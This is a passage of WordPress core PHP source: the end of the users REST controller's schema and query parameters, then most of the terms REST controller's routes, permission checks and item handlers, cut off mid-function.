					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'extra_capabilities' => array(
					'description' => __( 'Any extra capabilities assigned to the user.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
			),
		);

		if ( get_option( 'show_avatars' ) ) {
			$avatar_properties = array();

			$avatar_sizes = rest_get_avatar_sizes();

			foreach ( $avatar_sizes as $size ) {
				$avatar_properties[ $size ] = array(
					/* translators: %d: Avatar image size in pixels. */
					'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
				);
			}

			$schema['properties']['avatar_urls'] = array(
				'description' => __( 'Avatar URLs for the user.' ),
				'type'        => 'object',
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
				'properties'  => $avatar_properties,
			);
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'default'     => 'asc',
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'enum'        => array( 'asc', 'desc' ),
			'type'        => 'string',
		);

		$query_params['orderby'] = array(
			'default'     => 'name',
			'description' => __( 'Sort collection by user attribute.' ),
			'enum'        => array(
				'id',
				'include',
				'name',
				'registered_date',
				'slug',
				'include_slugs',
				'email',
				'url',
			),
			'type'        => 'string',
		);

		$query_params['slug'] = array(
			'description' => __( 'Limit result set to users with one or more specific slugs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		$query_params['roles'] = array(
			'description' => __( 'Limit result set to users matching at least one specific role provided. Accepts csv list or single role.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		$query_params['capabilities'] = array(
			'description' => __( 'Limit result set to users matching at least one specific capability provided. Accepts csv list or single capability.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		$query_params['who'] = array(
			'description' => __( 'Limit result set to users who are considered authors.' ),
			'type'        => 'string',
			'enum'        => array(
				'authors',
			),
		);

		$query_params['has_published_posts'] = array(
			'description' => __( 'Limit result set to users who have published posts.' ),
			'type'        => array( 'boolean', 'array' ),
			'items'       => array(
				'type' => 'string',
				'enum' => get_post_types( array( 'show_in_rest' => true ), 'names' ),
			),
		);

		$query_params['search_columns'] = array(
			'default'     => array(),
			'description' => __( 'Array of column names to be searched.' ),
			'type'        => 'array',
			'items'       => array(
				'enum' => array( 'email', 'name', 'id', 'username', 'slug' ),
				'type' => 'string',
			),
		);

		/**
		 * Filters REST API collection parameters for the users controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_User_Query parameter.  Use the
		 * `rest_user_query` filter to set WP_User_Query arguments.
		 *
		 * @since 4.7.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_user_collection_params', $query_params );
	}
}
endpoints/class-wp-rest-terms-controller.php000066600000105165152442706000015311 0ustar00<?php
/**
 * REST API: WP_REST_Terms_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to managed terms associated with a taxonomy via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Terms_Controller extends WP_REST_Controller {

	/**
	 * Taxonomy key.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $taxonomy;

	/**
	 * Instance of a term meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Term_Meta_Fields
	 */
	protected $meta;

	/**
	 * Column to have the terms be sorted by.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $sort_column;

	/**
	 * Number of terms that were found.
	 *
	 * @since 4.7.0
	 * @var int
	 */
	protected $total_terms;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => true );

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy key.
	 */
	public function __construct( $taxonomy ) {
		$this->taxonomy  = $taxonomy;
		$tax_obj         = get_taxonomy( $taxonomy );
		$this->rest_base = ! empty( $tax_obj->rest_base ) ? $tax_obj->rest_base : $tax_obj->name;
		$this->namespace = ! empty( $tax_obj->rest_namespace ) ? $tax_obj->rest_namespace : 'wp/v2';

		$this->meta = new WP_REST_Term_Meta_Fields( $taxonomy );
	}

	/**
	 * Registers the routes for terms.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'        => array(
					'id' => array(
						'description' => __( 'Unique identifier for the term.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as terms do not support trashing.' ),
						),
					),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if the terms for a post can be read.
	 *
	 * @since 6.0.3
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool Whether the terms for the post can be read.
	 */
	public function check_read_terms_permission_for_post( $post, $request ) {
		// If the requested post isn't associated with this taxonomy, deny access.
		if ( ! is_object_in_taxonomy( $post->post_type, $this->taxonomy ) ) {
			return false;
		}

		// Grant access if the post is publicly viewable.
		if ( is_post_publicly_viewable( $post ) ) {
			return true;
		}

		// Otherwise grant access if the post is readable by the logged-in user.
		if ( current_user_can( 'read_post', $post->ID ) ) {
			return true;
		}

		// Otherwise, deny access.
		return false;
	}

	/**
	 * Checks if a request has access to read terms in the specified taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access, otherwise false or WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		$tax_obj = get_taxonomy( $this->taxonomy );

		if ( ! $tax_obj || ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return false;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->edit_terms ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit terms in this taxonomy.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['post'] ) ) {
			$post = get_post( $request['post'] );

			if ( ! $post ) {
				return new WP_Error(
					'rest_post_invalid_id',
					__( 'Invalid post ID.' ),
					array(
						'status' => 400,
					)
				);
			}

			if ( ! $this->check_read_terms_permission_for_post( $post, $request ) ) {
				return new WP_Error(
					'rest_forbidden_context',
					__( 'Sorry, you are not allowed to view terms for this post.' ),
					array(
						'status' => rest_authorization_required_code(),
					)
				);
			}
		}

		return true;
	}

	/**
	 * Retrieves terms associated with a taxonomy.
	 *
	 * @since 4.7.0
	 * @since 6.8.0 Respect default query arguments set for the taxonomy upon registration.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'exclude'    => 'exclude',
			'include'    => 'include',
			'order'      => 'order',
			'orderby'    => 'orderby',
			'post'       => 'post',
			'hide_empty' => 'hide_empty',
			'per_page'   => 'number',
			'search'     => 'search',
			'slug'       => 'slug',
		);

		$prepared_args = array( 'taxonomy' => $this->taxonomy );

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		if ( isset( $prepared_args['orderby'] ) && isset( $request['orderby'] ) ) {
			$orderby_mappings = array(
				'include_slugs' => 'slug__in',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$prepared_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $request['offset'];
		} else {
			$prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number'];
		}

		$taxonomy_obj = get_taxonomy( $this->taxonomy );

		if ( $taxonomy_obj->hierarchical && isset( $registered['parent'], $request['parent'] ) ) {
			if ( 0 === $request['parent'] ) {
				// Only query top-level terms.
				$prepared_args['parent'] = 0;
			} else {
				if ( $request['parent'] ) {
					$prepared_args['parent'] = $request['parent'];
				}
			}
		}

		/*
		 * When a taxonomy is registered with an 'args' array,
		 * those params override the `$args` passed to this function.
		 *
		 * We only need to do this if no `post` argument is provided.
		 * Otherwise, terms will be fetched using `wp_get_object_terms()`,
		 * which respects the default query arguments set for the taxonomy.
		 */
		if (
			empty( $prepared_args['post'] ) &&
			isset( $taxonomy_obj->args ) &&
			is_array( $taxonomy_obj->args )
		) {
			$prepared_args = array_merge( $prepared_args, $taxonomy_obj->args );
		}

		$is_head_request = $request->is_method( 'HEAD' );
		if ( $is_head_request ) {
			// Force the 'fields' argument. For HEAD requests, only term IDs are required.
			$prepared_args['fields'] = 'ids';
			// Disable priming term meta for HEAD requests to improve performance.
			$prepared_args['update_term_meta_cache'] = false;
		}

		/**
		 * Filters get_terms() arguments when querying terms via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_category_query`
		 *  - `rest_post_tag_query`
		 *
		 * Enables adding extra arguments or setting defaults for a terms
		 * collection request.
		 *
		 * @since 4.7.0
		 *
		 * @link https://developer.wordpress.org/reference/functions/get_terms/
		 *
		 * @param array           $prepared_args Array of arguments for get_terms().
		 * @param WP_REST_Request $request       The REST API request.
		 */
		$prepared_args = apply_filters( "rest_{$this->taxonomy}_query", $prepared_args, $request );

		if ( ! empty( $prepared_args['post'] ) ) {
			$query_result = wp_get_object_terms( $prepared_args['post'], $this->taxonomy, $prepared_args );

			// Used when calling wp_count_terms() below.
			$prepared_args['object_ids'] = $prepared_args['post'];
		} else {
			$query_result = get_terms( $prepared_args );
		}

		$count_args = $prepared_args;

		unset( $count_args['number'], $count_args['offset'] );

		$total_terms = wp_count_terms( $count_args );

		// wp_count_terms() can return a falsey value when the term has no children.
		if ( ! $total_terms ) {
			$total_terms = 0;
		}

		if ( ! $is_head_request ) {
			$response = array();
			foreach ( $query_result as $term ) {
				if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) {
					continue;
				}

				$data       = $this->prepare_item_for_response( $term, $request );
				$response[] = $this->prepare_response_for_collection( $data );
			}
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $response );

		// Store pagination values for headers.
		$per_page = (int) $prepared_args['number'];
		$page     = (int) ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );

		$response->header( 'X-WP-Total', (int) $total_terms );

		$max_pages = (int) ceil( $total_terms / $per_page );

		$response->header( 'X-WP-TotalPages', $max_pages );

		$request_params = $request->get_query_params();
		$collection_url = rest_url( rest_get_route_for_taxonomy_items( $this->taxonomy ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $collection_url );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the term, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise.
	 */
	protected function get_term( $id ) {
		$error = new WP_Error(
			'rest_term_invalid',
			__( 'Term does not exist.' ),
			array( 'status' => 404 )
		);

		if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return $error;
		}

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$term = get_term( (int) $id, $this->taxonomy );
		if ( empty( $term ) || $term->taxonomy !== $this->taxonomy ) {
			return $error;
		}

		return $term;
	}

	/**
	 * Checks if a request has access to read or edit the specified term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		$term = $this->get_term( $request['id'] );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit this term.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Gets a single term from a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		$response = $this->prepare_item_for_response( $term, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a request has access to create a term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has access to create items, otherwise false or WP_Error object.
	 */
	public function create_item_permissions_check( $request ) {

		if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return false;
		}

		$taxonomy_obj = get_taxonomy( $this->taxonomy );

		if ( ( is_taxonomy_hierarchical( $this->taxonomy )
				&& ! current_user_can( $taxonomy_obj->cap->edit_terms ) )
			|| ( ! is_taxonomy_hierarchical( $this->taxonomy )
				&& ! current_user_can( $taxonomy_obj->cap->assign_terms ) ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to create terms in this taxonomy.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates a single term in a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error(
					'rest_taxonomy_not_hierarchical',
					__( 'Cannot set parent term, taxonomy is not hierarchical.' ),
					array( 'status' => 400 )
				);
			}

			$parent = get_term( (int) $request['parent'], $this->taxonomy );

			if ( ! $parent ) {
				return new WP_Error(
					'rest_term_invalid',
					__( 'Parent term does not exist.' ),
					array( 'status' => 400 )
				);
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		$term = wp_insert_term( wp_slash( $prepared_term->name ), $this->taxonomy, wp_slash( (array) $prepared_term ) );
		if ( is_wp_error( $term ) ) {
			/*
			 * If we're going to inform the client that the term already exists,
			 * give them the identifier for future use.
			 */
			$term_id = $term->get_error_data( 'term_exists' );
			if ( $term_id ) {
				$existing_term = get_term( $term_id, $this->taxonomy );
				$term->add_data( $existing_term->term_id, 'term_exists' );
				$term->add_data(
					array(
						'status'  => 400,
						'term_id' => $term_id,
					)
				);
			}

			return $term;
		}

		$term = get_term( $term['term_id'], $this->taxonomy );

		/**
		 * Fires after a single term is created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_insert_category`
		 *  - `rest_insert_post_tag`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Term         $term     Inserted or updated term object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a term, false when updating.
		 */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, true );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['me
Back to Directory File Manager